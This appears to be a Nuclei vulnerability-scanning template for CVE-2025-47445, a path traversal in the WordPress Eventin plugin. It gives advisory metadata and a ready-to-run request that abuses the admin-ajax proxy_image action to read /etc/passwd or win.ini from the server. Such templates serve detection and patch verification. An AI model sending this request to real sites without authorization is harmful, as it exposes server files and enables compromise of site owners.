WordPress Eventin (Themewinter) ≤ 4.0.26 - Arbitrary File Download

id: CVE-2025-47445

info:
  name: WordPress Eventin (Themewinter) ≤ 4.0.26 - Arbitrary File Download
  author: hnd3884
  severity: high
  description: |
    Themewinter Eventin contains a path traversal caused by relative path manipulation, letting attackers access arbitrary files on the server, exploit requires no specific privileges or user interaction.
  impact: |
    Attackers can access sensitive files on the server, potentially leading to information disclosure or system compromise.
  remediation: |
    Update to the latest version of Eventin, version 4.0.27 or later.
  reference:
    - https://patchstack.com/database/wordpress/plugin/wp-event-solution/vulnerability/wordpress-eventin-4-0-26-arbitrary-file-download-vulnerability?_s_id=cve
    - https://github.com/advisories/GHSA-c3pr-284f-8x9f
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47445
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-47445
    cwe-id: CWE-23
    epss-score: 0.05145
    epss-percentile: 0.91868
    cpe: cpe:2.3:a:themewinter:eventin:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: themewinter
    shodan-query: html:"wp-event-solution"
  tags: cve,cve2025,wordpress,wp,wp-plugin,eventin,lfi,wp-event-solution,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=proxy_image&url={{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /etc/passwd
        - /windows/win.ini

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 400
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